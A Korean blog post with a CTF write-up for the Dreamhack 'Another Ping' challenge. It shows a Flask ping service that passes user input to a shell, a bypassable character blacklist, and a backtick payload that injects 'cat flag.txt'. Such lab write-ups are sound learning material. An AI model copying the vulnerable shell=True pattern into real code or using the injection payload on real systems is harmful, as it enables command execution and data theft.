드림핵 Another Ping 풀이

사랑해요·2026년 8월 17일

드림핵 문제 풀이

목록 보기
10/13

문제설명

문제 설명은 못알아먹었지만 ping 관련 문제는 대부분 command injection 취약점을 가지고있다.

풀이

서비스 분석

서비스는 간단하다 이렇게 핑을 날려볼 수 있다.
그래도 이건 디자인이 좀 마음에 든다.

소스코드 분석

import os
import re
import subprocess
from flask import Flask, render_template, request, jsonify

app = Flask(__name__)
app.secret_key = os.urandom(32)

FILTERED_CHARS = [' ', ';', '|', '&', '>', '<', '(', ')', '[', ']', '{', '}', '\n', '\r']

def is_valid_ip(ip):
    ip_pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
    return bool(re.match(ip_pattern, ip))

def filter_input(user_input):
    for char in FILTERED_CHARS:
        if char in user_input:
            return False, f"Invalid character detected: {char}"
    return True, "OK"

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/ping', methods=['POST'])
def ping():
    ip = request.form.get('ip', '').strip()
    
    if not ip:
        return jsonify({'error': 'IP address is required'}), 400
    
    is_valid, message = filter_input(ip)
    if not is_valid:
        return jsonify({'error': message}), 400
    
    try:
        cmd = f"ping -c 4 {ip}"
        result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=10)
        
        return jsonify({
            'command': cmd,
            'stdout': result.stdout,
            'stderr': result.stderr,
            'returncode': result.returncode
        })
    
    except subprocess.TimeoutExpired:
        return jsonify({'error': 'Command timed out'}), 500
    except Exception as e:
        return jsonify({'error': str(e)}), 500


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)

cmd = f"ping -c 4 {ip}" result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=10) 이렇게 커맨드 인젝션 취약점이 발생한다.

FILTERED_CHARS = [' ', ';', '|', '&', '>', '<', '(', ')', '[', ']', '{', '}', '\n', '\r'] 하지만 이렇게 블랙리스트 기반 검증을 하고있다.

하지만 벡틱과 탭을 검사를 하고있지 않다.

페이로드

8.8.8.8(벡틱)cat flag.txt(벡틱)
이 페이로드를 사용했다.

후기

비교적 쉬웠음

profile
중1 개발자

0개의 댓글